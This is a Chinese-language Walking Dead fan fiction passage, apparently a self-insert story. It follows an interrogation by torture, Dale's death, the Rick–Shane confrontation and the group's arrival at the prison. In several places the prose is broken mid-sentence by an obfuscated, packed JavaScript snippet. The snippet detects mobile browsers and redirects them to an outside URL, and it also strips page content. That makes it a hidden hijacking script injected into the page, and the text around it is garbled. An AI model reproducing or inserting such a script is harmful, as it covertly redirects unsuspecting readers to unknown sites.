“在哪里?”达里尔没打算给兰德尔犹豫的时间,撕开他腿上的纱布,触目惊心的伤口暴露在空气中,黑血结痂,红血渗出。兰德尔活像过年时砧板上的猪,无法自控地扯嗓子惨叫:“我发誓我真不知道,我们从不在一个地方待太久!” 达里尔手中的尖刀扎进兰德尔的伤口,逼问道:“他们在侦察吗?准备在这里长住吗?” “我不知道,他们把我抛下了。”兰德尔不住地摇头。 “你被人揭过伤疤吗?”正做着这件事的达里尔犹如残忍的恶魔,他共情不了任何人的疼痛,最擅长的就是伤害。 “拜托!不要这样!”兰德尔不坦诚,却求饶,“我在配合了!” “刚开始可不够配合,你迟早都要坦白。”说这话时,达里尔手上的动作不停,刀刃撑开拉德尔稍微愈合了一点的伤口,鲜血流出,在他的腿上画出一条红线。 “好,好,我说,他们有武器,重装备,自动步枪,”如此强的火力,根本不是我们能对付的,我不禁担忧起来,看向兰德尔伤痕累累的脸,他顿了顿,达里尔厌恶这样的迟疑,转动刀刃,兰德尔急了,“我什么都没做!” “你们的人试图射杀我们,夺走农场,而你只是跟着吗?我那天看到你在房顶上,难道你当时拿着玩具枪?你想说自己是无辜的?” “是!”不知达里尔哪句话点中了这小子,他昂起一直耷拉的脑袋,半死不活地找回一点精神,倔强地直视达里尔,“那些人收留了我,不止是那几个男的,他们有一群,有男有女,有孩子,就和你们一样,我以为跟他们一起生存机会能大一点。但是,我们出去寻找补给,一天晚上,我们找到了块野营地,一个男人和他的两个女儿,少女,你明白吗,非常年轻可爱。” 听到这里,我和达里尔的脸色都变了,我走过来,蹲在他面前,真希望他不要再说下去,不然我也会想杀了他。 “她们的父亲只是眼睁睁看着那几个男的……他们甚至不愿给那位父亲个痛快,就让他这么看着,目睹他女儿被……就那么把他扔在那里,”这种人最该被执行化学阉割,然后脱光了游街示众,吊在树上三天三夜,最后被处以凌迟,我相信达里尔也恨得牙痒痒,他目露凶光,杀气腾腾,兰德尔惊恐地自证清白,“但,但,但是我没有碰那两个女孩,我发誓我没有!” 达里尔才不管他有没有,踢出一脚踹向他受伤的腿,戾气暴涨。 “求你们,求你们相信我,我不是那种人,我不是那样的,你们要相信我。”兰德尔躺倒在地哭泣,泪水与血混在一起流了他整张脸。 我拦住想再揍他一顿的达里尔:“走吧,去告诉大家。” 达里尔被我抓住手腕,走出两步,回头挣开我的手,他的脚像刀似的砍在兰德尔的腿上,刺耳的哀嚎挤在谷仓中,飘荡于每一个角落。 “你不是无辜,你是懦夫、帮凶,收起你那点可怜的自尊心吧,它一无用处。”我擦了擦达里尔指节上的血迹,却越擦越脏,他索性往我衣服上蹭,我催他赶快出去。 得知敌人情况的大家一起商量对策,洛莉倒了一杯热水让卡尔递给我。其实根本不用商量,瑞克认定兰德尔是个威胁,我们不能留下后患,这本来已经是板上钉钉的事情,毕竟肖恩十天之前就为此与他大吵一架,如今坚决反对的人成了戴尔:“你打算就这样杀了他?” “决定了,我今天就会这样做。”瑞克斩钉截铁,不给任何人提出异议的机会,我们都支持他,唯有戴尔追上瑞克离去的步伐,他们两个边走边吵。 下午的时候,我学着制作木箭,达里尔一会儿挑剔我握刀的姿势不对,一会儿嫌弃我找的木棍太粗,我把他的话当耳旁风,吹过去就得了。 戴尔找到我们,我知道他来做什么,达里尔不太想理他。 “我之所以跑到这里就是为了避开你们。”达里尔瞥见戴尔,也不抬头,专心于自己的弓弩,旁若无人,戴尔不该来找我们的,来了也是白来。 “光这样可躲不开我们。”比起达里尔,我感觉他主要是来说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“为什么?”达里尔转过身,“就因为他杀了奥蒂斯?” 戴尔没想到有人知道奥蒂斯死亡的真相:“他告诉你的吗?” 我就说达里尔可以看穿一切谎言,他快速地瞟了我一眼,我正好也在看他,我们都对此心知肚明。 “他撒了谎,说奥蒂斯掩护他,救了他,他却是带着奥蒂斯的枪回来的。瑞克不是傻子,他要是没有识破,那是因为他不想识破。”说罢,达里尔走出一段距离等我,戴尔张了张嘴,什么也说不出来。 我抱了抱戴尔:“我明白你为什么要苦口婆心地说这些。瑞克要杀兰德尔不是因为善良消失了,不然他也不会冒生命危险把兰德尔救回来。戴尔,我们是一个团队,这是瑞克为了大家深思熟虑后的决定,他很不容易,而且他未必下得去手。” 20. 如期而至 天气转凉,只穿一件衣服会觉得冷,特别是在阳光细碎的密林中。 我打了个喷嚏,鼻子痒痒的,像是有微小的虫子钻了进去,或者吸入了太多空气里的颗粒,但我顾不上这个,反手握刀在胸前,小心翼翼前进,从一棵树后面谨慎地移动到另一棵树后,观察周围灌木丛的摇晃,注意身后会不会有人袭击。 然而我太过关注后面,忽视了身前的埋伏,有什么东西突然出现在我脚下,我被绊住,脸朝地摔了一跤,下一秒,一把锋利的尖刀刺向我,我打了个滚躲开,一手撑地,一手挥刀站起。 短兵相接,金属碰撞的声响清脆而有力,我的力气远不如对方,他单手执刀压着双手握刀的我,逼迫我后退,我不甘心被压制,甩腿踢他的腹部,他轻而易举地闪避,并屈膝反击,我惊得闭上眼睛,吓出一身冷汗,他只是做做样子,没有真的打到我,随后抓住我的一只手往外侧掰,弹簧刀从我手中掉落,我想要挣脱束缚去捡,却被他的刀架在脖子上,不敢妄动。 “你死了。”达里尔淡淡地宣布结果。 他现在不满足于只教我用弩,还教了我很多丛林生存的方法,并带我进行战斗训练,这才是个开始,一窍不通的我就巴不得放弃了,任重而道远,他给我上了难度。 “别指望我一下子学成出师,”刚刚翻滚时磕到了一块石头,我的后背应该破皮了,伤口正隐隐发痛,因此不愿意再在林子里待着,“得循序渐进,达里尔,我们慢慢来,今天就学到这吧,学多了不好消化。而且日落了,我们得回去,瑞克要做出决定,我们不能缺席。” “我们两个在不在有什么关系,我不在乎兰德尔的死活,你无条件支持瑞克。” 事实虽如此,那也得回去和大家一起,我收了刀,夺过达里尔的刀也放进他腰间的革袋中,推着他走:“你不饿吗?我都饿了,明天再出来学吧,不要急于求成,我可是从零开始的。” 他不再反驳我,做投降状连连道“好”。 丛林里的时光过得很快,不过是我练了一会儿弩,把达里尔准备的二十支箭都用坏了,接着他纠正我用刀的姿势,然后进行两次演习而已,我们回到农场时竟天黑了。 达里尔说兰德尔肯定死了,我笑笑没有说话,瑞克是不会忍心杀他的,起码目前下不去手。 “欸?那是戴尔吗?”犹如一层轻纱笼罩在农场,我看不清远处站着的人究竟是谁,但从身形与头上的帽子来看,就是戴尔没错。 “是啊,这老头一个人大晚上出来,是不想看到他所谓的人性彻底丧失吧。” 我用胳膊肘撞了撞达里尔:“你嘴里饶点人吧。” “不对!”达里尔突然往戴尔的方向冲去,我还没意识到发生了什么,便听一声凄厉且骇人的惨叫撕破了夜晚的宁静,这声音进到我的耳朵中,再也没出去过。 怎么会这样,那只害死戴尔的行尸不是被我杀了吗?为什么他的身上会压着另一只行尸!我匆匆奔向戴尔,急得摔倒,膝盖重重砸在硬实的土地上,我忍痛站起,呼唤戴尔,戴尔死死抵住行尸不让它一开一合的牙齿靠近自己,可是这只行尸徒手撕开了戴尔的肚子,戴尔的叫声在这一刻变成了生命的终曲。 达里尔赶到一刀解决掉行尸,我紧跟着跑来跪在戴尔身边,不敢看他衣服上的大片鲜血与外翻的皮肉,他不停发抖,双眼充满惊恐,我哭着与他说话,他好似听明白了点头,又好似竭泽之鱼,出于本能求生,终究无力回天。 听到动静的大家很快都来了,我咬着嘴唇,站起来退到一旁,转过身。 众人惊慌的话语犹如波涛洪水,我难以呼吸,是我天真地以为污泥中的行尸就是害死戴尔的那只,其实并不是,也可能那只是的,但事情发生了改变,出现了另一只,可无论是哪种,我明明知道戴尔有这一劫,却没能救下他,以至亲眼目睹鲜血淋漓,苦痛盈天。 我听见赫谢尔被叫来,瑞克他们还心存希望,但残忍的现实再次给我们上了一课,生命消逝不是漫长的过程,也没有隆重的仪式,它就在某个寻常的夜晚,降临在某个普通的人身上,毫无征兆,意想不到,偏偏戴尔的死又在情理之中,是注定的结局,我没能为之做点什么。 众人的哭声与戴尔的呻吟敲打着我的心脏,我感到窒息,眼前朦胧,泪如雨下。我犹豫着回过头再看看戴尔,正好看到达里尔举枪对准他,他也直勾勾盯着达里尔。他的眼睛很明亮,在黑暗中闪着良善的光芒,他总是用这双眼睛照顾我们每一个人。在我初到营地时,站在房车顶上无所事事地张望,是他察觉到我的紧张,用幽默的笑话让我放松,帮助我融入他们。 “对不起,老兄。” 戴尔笑了,达里尔的枪声响了,他也得到了解脱。 有时候,戴尔很烦人,他常常把瑞克还有达里尔他们气得够呛,那是因为他敢于直言,这种诚实很珍贵,很勇敢,他洞悉人性,深谙人性,也能让我们在末世留存人性,他是一面镜子,我们能发现真实的自己,看清自己的善与恶。 第二天,我们埋葬戴尔,举行葬礼,他的死对大家来说是一个空前的打击,创伤很难痊愈,我们将很长一段时间都处于同伴离世的阴影里。瑞克在致辞中说致敬戴尔的最好方式就是我们团结起来,求同存异,不要妄自菲薄,要掌握自己的生命、安全以及未来,按照戴尔的信念行事。 瑞克是对的,这些话都非常完美,但是,完美的东西也不切实际,天不遂人愿。 为了防止此类事情的再度发生,我们严密检查了农场的栅栏,清理附近的行尸,把车移到每道门前,面朝大路,计划在风车和谷仓设立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790956|174952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哨岗,由达里尔与T仔负责巡逻与站岗。安德莉亚询问外围的巡逻怎么办,瑞克提出封锁外围,然后让肖恩分配轮班,他一会儿要和达里尔带兰德尔离开这里。 秋天已经到了,我们要准备应对寒冷的冬天,我和其他人一起把营地的东西搬进赫谢尔家里之后,留在外面帮肖恩搬木板进后备箱,他打算一个人去风车处修建哨岗,我问他要不要帮忙,他打趣地说我细胳膊细腿,得先跟达里尔练个一星期再来做木工。 他是个不错的人,我不可否认,但我还是想让他走,只有他走了,大家才能做到团结,不然又将是另一场悲剧。 这时,卡尔找了过来,他发现我们两个都在,对我们说道:“安,肖恩,如果我告诉你们一件事,你们能保证不告诉我父母吗?” 肖恩拍了拍灰,回道:“我觉得这不是个好主意。” 卡尔看向我,我叹口气,让他进屋子里去,他失望地往回走,我又想起来自己的手枪还在他那里,于是叫住他:“卡尔,你是不是有什么东西忘记还给我了。” 他清楚我指的是什么,从口袋里拿出我的枪,枪的重量不对,我当即变了脸:“这是怎么回事?卡尔,你哪里找来的子弹,你还上了膛?” 肖恩放下手里的木板,忧心忡忡地看着卡尔与我的枪,等卡尔继续说:“我在你包里偷偷拿的,对不起。” “你拿枪干什么?”他问卡尔。 卡尔愁眉苦脸,犹豫开口:“戴尔,他的死是我的错。” “卡尔你怎么能这么说,他是被行尸害死的。”肖恩不解,我却知道了整件事的过程,卡尔这次拿的枪不是来自达里尔,而是我,我把空枪给他玩,没有要回来,他又在我的包里找到子弹,肖恩教过他上膛。他跑到林子里见到了杀死戴尔的行尸,他本来要打死行尸的,但行尸从泥潭中挣扎出来,卡尔被吓坏了,逃回农场,而那只行尸循着踪迹来到农场附近。 我对此无话可说,肖恩安慰卡尔,我摸了摸卡尔的头,不怪他,因为我和他一样觉得戴尔的死都是自己的错。 “你该把这件事告诉瑞克。”卡尔走后,我这样对肖恩说。 他点点头,我们都明白真正能鼓励卡尔重新振作的只有身为父亲的瑞克。 随后,我坐着肖恩的车在屋子门口下了,他则朝风车开去,我进门时,洛莉走向肖恩,他们该好好说说话了。 我在屋中和大家收拾东西,贝丝让我晚上和她一起睡,不用再打地铺。收拾好后,我们走出房子,她跟我讲起小时候的故事,我不经意看向谷仓,有两个人从里面出来,一前一后,前面那个双手被绑,后面那个推攘着前面那个。 我知道肖恩要去做什么,他把卡尔的事情告诉了瑞克,瑞克需要安抚自己的儿子,因此他有机会单独把兰德尔带走。 21. 惊魂夜 当大家得知兰德尔消失不见,每个人都着急地在谷仓来回踱步,无法得知他是如何逃走的,又去了哪里,会不会找到他的同伴,然后入侵农场实施报复。我没有参与他们的讨论,而是看向不远处的丛林,果然发现了肖恩,他背对着我,蹲在地上,接着大喊瑞克。 “瑞克!瑞克!”满脸鲜血的他大跨步迈向我们,洛莉问他发生了什么,肖恩忿然作色,气得脖子涨红,“他有武器!他拿了我的枪!那个混蛋袭击了我,他揍了我一拳。” “赫谢尔,T仔,带所有人回屋子里去!格伦,达里尔跟我们来。”瑞克立即做出安排,我心中一紧,肖恩还是这么做了,那他与瑞克之间的矛盾将在今夜升级到顶点,他们两个之间只有一个存活。 肖恩向T仔要了一把枪,卡罗尔忽然说道:“让他走吧,我们就是打算让他走的不是吗?” “计划是把他带到远离这里的地方再给他松绑,而不是带着枪离我们这么近。所有人进屋去,把门锁上,待着别动。”瑞克说的没错,一个被我们关押许久的家伙携枪凭空出逃,还有一群卑劣无耻的同伙,装备比我们好,人数比我们多,危险至极,我们不能坐以待毙,当然前提是兰德尔是自己逃走的,而不是秘密地被肖恩杀害。 众人听从瑞克,纷纷往屋子跑,我站在原地不动,贝丝返回牵起我的手,担忧地看着我,我让她先回去,以再找找谷仓里的线索为由留在外面。等所有人都离开后,我走到肖恩先前蹲下的灌木丛后面,在一堆落叶中找到了他口中被兰德尔抢走的枪。 兰德尔本就是个手无缚鸡之力的孩子,他的腿还瘸了,怎么可能有本事打伤肖恩夺枪逃跑,如此拙劣的谎言不堪一击。我想达里尔和瑞克都已经看穿了这一点,但他们需要演完这场戏给我们看,毕竟戴尔刚死,瑞克说过我们要团结一致。 此时天空的颜色和地上的石头一样黯淡,仿佛没了电的灯,光线渐渐流失,无尽的暗夜转瞬间铺展,漆黑的幕布悬空落下,丛林中幽寂犹如怪物们的栖息地,包罗万象,吞噬一切。 私心讲,我不希望瑞克杀了肖恩,所以尽管害怕在晚上进入丛林,我还是壮着胆子去找他们,就算中途遇到行尸,不幸丧命我也认了,好歹来这一趟把索菲亚救下了,且一直与大家并肩战斗,不算白来。 本就分不清方向的我兜兜转转更不知道该往哪里才能找到瑞克与肖恩,只能听林中的声音,依靠直觉。 我拿着枪,手发着抖,其实腿也在抖,但比手好一些,不然我根本走不了路,更不能保持冷静,我总是幻想会有行尸悄然出现,死死咬住我的脖子或者手臂,牙齿咬破我的皮肤,撕下一大块肉,腥气蔓延,其他的行尸也来此进食,将我的内脏分食殆尽,它们吃好了,死去的我孤零零地躺在林子里,很快再次起身,两眼无神,面貌可怖,变成一具行尸。也许瑞克他们能发现我,然后彻底杀死我,比起被刀刺进头颅,我更希望达里尔用他的弩一箭射死我,因为那样不用近距离看我的脸。 胡思乱想是分散注意力的好办法,我没有先前那么害怕了,而且听到了说话声,是瑞克和肖恩。我刚要加快步伐,他们的对话却结束,周围只有虫鸣。 无奈,我朝着这个方向追过去,月光变得清晰,前方是丛林的尽头。 我匆匆跑出林子,空旷的原野上有两个男人相互对峙,肖恩的枪口对准瑞克,瑞克交出自己的枪,似乎是妥协地正一步步靠近肖恩,劝说他。 “不,停下!”我大声喊叫,冲过去挡在两人中间。 “安?”他们异口同声,瑞克见状把枪收了回去,“你应该在房子里和大家一起,你不该来这里。” 我深吸一口气,面对肖恩的枪口,拿出他的枪,撒谎道:“关于兰德尔的出逃,大家都有自己的判断,我们会相信他是从谷仓上面的椽木溜出去的,甚至会相信他挖了个地道,但就是无法相信他把你的鼻子打出血,还抢了你的枪。瑞克不会信,达里尔不会信,我也不会信,就连洛莉、赫谢尔他们都不会信。” 只要提到洛莉,肖恩便会迟疑。 “我刚来时遇到了达里尔和格伦,你猜他们又遇到了什么,是死去的兰德尔,他是被人杀死的。而你的枪,我在谷仓外面捡到,我现在还给你。”肖恩没有接过我递的枪,他咽了咽口水,眼神闪躲,慌乱二字不言而喻。 “安,退后。”瑞克把我拉到他身后,他也执枪对准肖恩,“我们可以把这件事情当作没有发生,以后也不会再提。” 可是肖恩不仅没有放下手里的枪,还宛如下定决心般,杀气腾腾地瞪着我们。 “难道你想把我和安都杀了,再去杀达里尔和格伦吗?你以为你这样做可以高枕无忧吗,你这样只会把所有的事情搞得一团糟,你这样做,根本对不起戴尔。” 肖恩眼中含泪,嗤笑出声:“戴尔?他只会妨碍我。” “你不是这样的人,肖恩,我们还可以重新开始,”瑞克放回左轮,再次缓慢走向肖恩,好言相劝,“我们都把枪放下,然后回到农场,回到洛莉和卡尔的身边,把这些都忘掉。” “瑞克!”他的手已偷偷摸到腰间的刀,被我这一喊,他惊愕地缩回手,疑惑地看向我,意识到我察觉他的企图,他愣了愣,我走到他前面,手掌堵住肖恩的枪口,肖恩张皇失措,移开扣在扳机处的手指。 不怕死的人是最叫人害怕的,我并非不怕死,只是在赌肖恩不会杀我,他若开了枪,瑞克一定会第一时间击毙他。 “肖恩,你走吧,你不应该继续和我们在一起。你走了,对大家都好,因为你无论如何都改变不了瑞克才是洛莉丈夫这一事实。你以为瑞克死了,洛莉会成为你的妻子吗,她不会,她当初与你在一起,是为了生存,你能保护她们母子,你是瑞克的好友,她信任你。还有那时候在亚特兰大城外,卡尔与你的关系确实不错,你们情同父子,可你始终代替不了瑞克在他心中的地位。况且自那以后我们经历了这么多事情,你也看到洛莉与卡尔是多么依赖瑞克,如果瑞克再出事,他们绝对不会原谅你,他们会恨你一辈子!” 我相信肖恩把我的话听进去了,我看到他低下头,张了张嘴,想要说什么,最终化作叹息声消散于黑夜,他放下了枪。 “我们都知道你是为了大家好,我们都很想与你在所有事情上达成一致,就像你曾经跟我说的,我们是一个团队,那你是不是也该听听我们的建议呢?肖恩,我很想让你离开我们,有你在,我们真的很难团结,可我又不想让你走,我们是家人。所以不要再一意孤行了好吗,我们回去,什么都不说,好好睡一觉,明天又是新的一天。” “不,不!”呜咽声从肖恩的喉间涌出,他重新举枪,“回不去了,我们回不去了!瑞克!全部都变了!” 还没变,还来得及,我得想想再说点什么劝肖恩,岂料黑暗中有东西若隐若现,我指向那里,有种不祥的预感。 我们三个顿时忘却争执,夜色里,看不到尽头的一排排行尸正朝我们移动,张狂地嘶吼,就像是丛林的牙齿,准备好吃掉我们。 引来尸群的不是卡尔的枪声,而是我的喊叫,该发生的总是躲不过去。 “天呐!走!快走!”瑞克小声催促,拉上我和肖恩奔跑,迎面竟遇上偷跑出来的卡尔,瑞克顾不上指责,四面八方都是行尸,我们逃不回屋子,也不能逃回屋子。 最近的是谷仓,谷仓的木门抵挡不住这么大规模的行尸,我们把汽油倒在地上,瑞克叮嘱我和肖恩保护卡尔,让我们爬梯子上去,交给我打火机,听他下令就放火,至少可以阻止一部分行尸接近屋子,他要一个人去引开剩下的。 肖恩不爽地揍了他一拳:“又想逞英雄,我是不会走的!” 瑞克大口喘气,看了肖恩一眼,紧接着对儿子说道:“卡尔,我爱你。” 我与卡尔顺梯子爬到高处,瑞克和肖恩在下面疯狂击打木门吸引行尸,他们把门打开,行尸蜂拥而入,瑞克一边后退一边把肖恩拽向梯子,催他快上去,肖恩依旧不听,反推开瑞克:“走!” 肖恩举枪射杀扑上来的行尸,瑞克爬上梯子,仍呼唤肖恩,肖恩枪中的子弹用尽,他丢掉枪,想一死了之,千钧一发之际,瑞克一手攀着梯木,一手拔枪杀死抓住肖恩肩膀的行尸,肖恩咒骂一声,一拳打扁面前行尸的鼻子,转身爬梯而上。 “安!现在!” 我点燃打火机扔下,微弱的火苗转眼成了耀眼的烈焰,火光明艳,浓烟弥漫,怪味扑鼻,火势好似大雨倾盆盈满谷仓,烈火烧灼行尸,一个个都成了火钉,没有痛觉的它们跳起诡异的舞蹈,伸长了双臂妄图与我们共舞。 我们从谷仓的窗户逃出,大家都已在外面开车击杀行尸,房车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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行尸朝我们聚集,我向安德莉亚大喊:“逃回公路上!”然后带卡罗尔母女往行尸稀少的方向跑,我们沿铁围栏逃到道路边,我听见达里尔摩托车的声音,循声张望,他骑车来接我们。 我把索菲亚抱上车,叫卡罗尔快走。 “安!坐上来!” “走啊!我要回去找安德莉亚,你们先走,不然我们谁都走不了!”我不理会达里尔,从另一个方向往回跑。 摩托车的马达轰鸣声离我越来越远,我不敢说自己视死如归,但至少我的死对于这个世界而言无足轻重。可是我还没回到刚刚那个地方,红白两色的车就开到了我面前,里面只有瑞克和卡尔。 “安德莉亚呢!” “安,快上车!” 我摇着头:“安德莉亚还没逃出来!” “快上车!” 我从没见瑞克发这么大的火,但我不愿上车,我要回到农场试一试。 车门被打开,瑞克追了出来,他肯定是还想劝我离开,我不会听的,可他没有说话,我耳后的颈部受到重击,眩晕袭来,我眼前一黑。 再睁眼时,阳光晃在我脸上,我头痛欲裂,一时看不清楚车窗外的东西,好像是车,很多很多的车,我们回到了公路上。 “抱歉,只有这样才能带你走。”瑞克道完歉,和卡尔下车,我从后车座上坐起来,平复了一下心情,还以为昨晚的灾难是一场噩梦。瑞克和卡尔在车外争吵,我做不了任何事情,也没有力气说话。 不知道过了多久,我又听见了马达轰鸣声,我探出脑袋看过去,是达里尔与卡罗尔母女,紧接着是格伦和玛姬的车子,后面跟着T仔的车,车里挤着洛莉、赫谢尔和贝丝,真是为难他们四个人了。 “天呐!”我颤颤巍巍打开车门下来,眼泪不争气地流出。 “我本来要回去找你的。”达里尔对我说道,我很感谢他,与他紧紧相拥,为劫后余生。 瑞克一家三人团聚,他问达里尔:“你在哪里找到大家的?” “有人的车在路上胡乱变道,只有亚洲人才会开得这么臭。”达里尔的话让众人笑出来,他耸耸肩,“其他人呢?” “逃到这里的只有我们这些人。” 洛莉不安地问:“肖恩呢?” 对啊,肖恩呢,他应该和瑞克还有卡尔在一起才对。 瑞克欲言又止,难不成肖恩还是被瑞克杀了吗。 良久,我放下心,听瑞克回答道:“走了,他走了。” 22. 绝处逢生 末世之下,没有绝对安全的庇护所,我们失去农场,失去同伴,悲伤不能阻碍我们的步伐,我们需要继续前进,开辟生路。 车队朝东行驶,远离主干道,我坐在达里尔的摩托后座,车轮碾过黄色和红色的落叶,空气被推动形成凉爽的风,吹起几片拂过我的脸颊,像是舍不得我们离去,而舍不得我们的,是那些永远留在这里的人们。 “呜——”一声喇叭响起,我朝后望去,达里尔停下车,大家拿起武器戒备四周,瑞克跑来告诉我们他的油箱见底,我们不得不暂时休整,在此处露营,然后第二天一早寻找汽油与补给。 达里尔的箭所剩不多,我们的子弹也屈指可数,到处都是行尸,众人显然不愿意冒险停留,害怕行尸突然袭击,或者遇到一伙兰德尔那样的人。瑞克坚持大家要待在一起,他有些激动,每一根神经都绷紧,他的状态很不对劲。 提起兰德尔,从农场逃出来后,我就把瑞克与肖恩对峙的事情说给达里尔听了,他想过会变成这样,也想过这两人拼个生死,我阻止了他们,所以肖恩走了。但是兰德尔被肖恩杀害,身上没有咬伤,却成了行尸,达里尔想不通,大家更为之一颤,惊恐地向瑞克寻求解释,瑞克将当日在疾控中心时詹纳的话原封不动告诉我们:“不管这是什么病毒,我们每个人都是携带者。” 不是每个人都能理解瑞克的苦衷。夜晚,我们围着篝火取暖,索菲亚小小的脑袋枕在我腿上,卡罗尔很放心女儿亲近我,我察觉到她眼神中的担忧,有话想跟我说,她觉得我们跟随瑞克不安全,瑞克总是瞒着我们,我们需要一位高尚的领导者。 “瑞克就很高尚。”达里尔走过来,抢在我前头应道。 现如今,我们的团队出现了信任危机,一点风吹草动都能让有着裂痕的镜子摔得四分五裂,黑暗中未知的恐惧与不能确保生命安全时的提心吊胆,使得我们好些个人难以看清事情的方方面面,从而忽视整体。 瑞克积攒许久的情绪在这一刻爆发,他愤怒、他咆哮、他宣泄。可是好奇怪,他明明表现得犹如一座无法遏制的火山,在我看来,更像是一座满目疮痍的矿山将崩,山上不断有细碎的石子滑落,直至倾倒。他的肩膀上承受了太多,有自己的考量与打算,一直在为想方设法地凝聚团队,因此差一点杀了肖恩。不会有人真正明白他与肖恩之间又爱又恨的关系,更不理解何以至于生命相搏,但事情就是这样,已经发生,无法逆转,总是揪着过去的事情不放,脚下的路就会变得曲折。无论用尽什么办法,瑞克都将保证我们所有人始终在一起。 “如果留下,就别再想要什么民主!” 他越来越像肖恩了。 奔走于生存的道路,每个人都成长为与过去截然不同的自己,卡尔用起枪来游刃有余,可以帮助大家共同消灭行尸;卡罗尔也在积极地练习战斗,并向赫谢尔学习接生,洛莉怀孕的事再也瞒不住,她的预产期快到了;我有时候会留下来负责照顾洛莉,顺便教索菲亚开枪,有时候则与达里尔他们一起清理房屋。 过去的几个月,我们风餐露宿,熬过寒冷的冬天,在几间房子中来回移居,每当收拾好搬进屋子里,屁股还没坐热,屋外又聚集了行尸,我们必须撤离,这不是长久之计。 车队停在路中央,玛姬摊开地图,我们正位于尸群的侧面,被两股尸群夹在中间,如果它们相遇,我们绝无生路。整个冬天我们都在不停绕圈子,唯有从纽南向西走的路没去过,那里说不定有可以安全度过几周的地方。 我想找到监狱,但是地图上没有地址,无奈只能听天由命,他们会找到的。 出发前,T仔到河边装水,达里尔喊上瑞克去打猎,他在屋子里抓住的一只猫头鹰根本不够我们这么多人分,他叮嘱我注意安全,我意识到监狱就在眼前,咧嘴一笑,往日的忧愁一扫而尽,让他早去早回。 他们这一离开再回来,发现了监狱,我们的日子就将好过多了。 监狱里面充满行尸,只要将这些行尸全部解决,监狱就是一个完美的庇护所,虽护不了我们永远,但足够了。 瑞克在监狱的围栏上剪出一个洞,我们依次进入过道,格伦补上缺口,里里外外的行尸全部扑到左右的围栏上。小跑至监狱的外门,瑞克谨慎观察,如果我们能关上内门,防止监狱里面的行尸出来,我们就能先解决完院子里的行尸,在夜晚到来之前拿下这片空地。 我和达里尔到离我们最远的那座塔上;T仔、格伦、玛姬和贝丝吸引院子里行尸的注意,从栅栏后面击杀它们;卡罗尔的枪法进步很大,她带着索菲亚从另一边进行射击;赫谢尔与卡尔登上外门旁的塔,我们共同掩护瑞克,洛莉打开外门,他无所畏惧地冲了出去。 我很喜欢这种大家为了同一个目标努力奋斗的感觉,互帮互助,团结一心,没有一个人退缩,而瑞克也放心地将后背交给我们,我们都在尽全力保护对方。 “他做到了!”瑞克不负众望成功关上内门,进到内门旁边的塔,枪声不停歇地回响于监狱,众人齐心协力的结局就是杀光院子里所有的行尸。当世界安静下来,我喜极而泣,每个人的脸上都洋溢着笑容,这是多么精彩的一场射击,多么出色的一次合作。 “我数了数,你杀的没我多,而且有三枪打空了。”我正高兴地从塔内走出来,达里尔在我身后来这么一句,他可真是会聊天。 我转身面向他倒着走,说:“徒弟枪法不行,都是师父没教好。” “好师父耐不住笨学生。”他揉乱我的头发,我拍打他的手躲避,正巧赫谢尔与卡尔也从他们那座塔上下来,我躲到赫谢尔身边,朝达里尔做鬼脸。 洛莉守在外门,我们与她击掌,她说这是几周以来感觉最好的一次,我也是。 宽阔的院子令压抑了许久的我们身心舒畅,难得一回轻松的夜晚,我躺在草地上,眼前群星璀璨,是城市里不曾有过的浩瀚星空,是没有了一大半人类后自然的修复。 “这里土壤不错,可以撒下种子,种一些番茄、黄瓜和大豆。”我喜欢赫谢尔的提议,举双手赞成,他又说,“瑞克已经检查三圈了,如果铁栏有漏洞,他一定会发现的。” “他很累了,不是吗?”我坐起身,看向几乎从未见休息过的瑞克,“他很有经验,也有责任心,我想不出还会有谁比瑞克更在乎我们。” 我说这话时盯着卡罗尔看,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790958|174952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对瑞克仍抱有意见,坐在卡罗尔旁边的索菲亚不明白这些,将她手里的食物分给了我,我摆手拒绝,被卡尔故意抢去,两个孩子绕着我们追逐。 贝丝对洛莉说:“他为你和我们找到了一个好地方,这里适合分娩,很安全。” “贝丝,唱一首帕蒂·雷利的歌吧,自从你妈妈离世后,就再也没有听过了。”人一闲下来就总忍不住回想过去的事。 玛姬反对道:“爸,求你不要让她唱这首歌。” 这首歌无疑会勾起贝丝悲伤的回忆,她没有赫谢尔那么坚强,曾经为此割腕自杀。 “那就唱《Parting Glass》吧。” 贝丝提不起兴致:“没人想听。” “我想听啊,我喜欢听。”我到贝丝旁边握住她的手,是真的很喜欢听贝丝唱歌,她的嗓音轻软,歌声悠扬,犹如悬崖峭壁上的一株铁线莲,足以抚慰人心。 